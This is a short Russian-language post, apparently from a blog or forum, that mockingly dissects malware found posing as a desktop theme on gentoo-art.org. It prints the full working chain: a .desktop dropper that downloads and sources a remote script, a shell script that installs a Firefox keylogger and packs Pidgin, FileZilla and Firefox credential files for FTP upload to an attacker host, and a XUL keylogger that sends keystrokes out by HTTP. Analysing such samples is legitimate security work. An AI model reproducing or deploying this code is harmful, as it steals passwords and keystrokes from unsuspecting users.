Пишем кейлоггер и его распространяем

Вот, какой чюдный образчик обнаружен был на gentoo-art.org:
Там вместо, как обычно бывает, тема.tar.gz нам отгрузили тема.tar.gz.desktop, которое содержало:

[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Icon[en_GB]=checkbox
Name[en_GB]=Gotham Spirit.tar.gz
Exec=% bash -c "wget file-transfer.zzl.org/sh.sh;wget file-transfer.zzl.org/Addon.tar.gz;source sh.sh"
Comment[en_GB]=Lets See
Name=App
Comment=Lets See
Icon=/usr/share/icons/gnome/scalable/mimetypes/gnome-mime-application-x-tarz.svg
GenericName[en_GB.UTF-8]=Double Click To Install
Comment[en_GB.UTF-8]=

Я аккуратно выполнил wget, и глянувши на sh.sh, улыбнулся:

zenity --error --text='
gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error exit delayed from previous errors'
cd $HOME/.mozilla/firefox/*.default/extensions/
mkdir "linux@support.com"
cd "linux@support.com"/
cp $HOME/Addon.tar.gz $HOME/.mozilla/firefox/*.default/extensions/"linux@support.com"/
tar -xf Addon.tar.gz
:: Keylogger Installed!
cp $HOME/.purple/accounts.xml $HOME/.mozilla/
:: Pidgin Done!
cp $HOME/.filezilla/sitemanager.xml $HOME/.mozilla/
:: Filezilla Done!
cd $HOME/.mozilla/
find ./ -name key*.db -exec cp {} /$HOME/.mozilla/ \;
find ./ -name signons*.txt -exec cp {} /$HOME/.mozilla/ \;
clear
tar -zcvf Unlucky.tar.gz key*.db signons*.txt accounts.xml sitemanager.xml
:: Archiving Finished!
cd $HOME/.mozilla/
sleep 1
wget http://shiftytransfer.x10hosting.com/index.php &
ftp -n -i <<_EOF_
open ftp.shiftytransfer.x10hosting.com
user  ipwnyou5
put Unlucky.tar.gz
close
bye
:: Execution Ready!
::If your reading my source code, Then your a naughty child and you should be doing something else!

А в комментариях люди аж на три страницы обижаются, что оно не рабооотает!

Ага. А вот что они сочинили на тему мозильного аддона (файл Addon/chrome/content/poc_keylogger.xul:

<?xml version="1.0"?> 
<?xml.stylesheet href="chrome://global/skin/" type="text/css"?> 
<window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> 
    <script> 
        <![CDATA[ 
            document.addEventListener("keypress",onkey,false);  
            var pats=''; 
            function onkey(e)    
            { 
                pats+=String.fromCharCode(e.charCode); 
                if (pats.length>20) 
                { 
                    http=new XMLHttpRequest(); 
                http.open("GET","http://shiftytransfer.x10hosting.com/0.1.php?pat=" + pats,true); 
                http.send(null); 
                pats=''; 
                } 
            } 
        ]]> 
    </script> 
</window>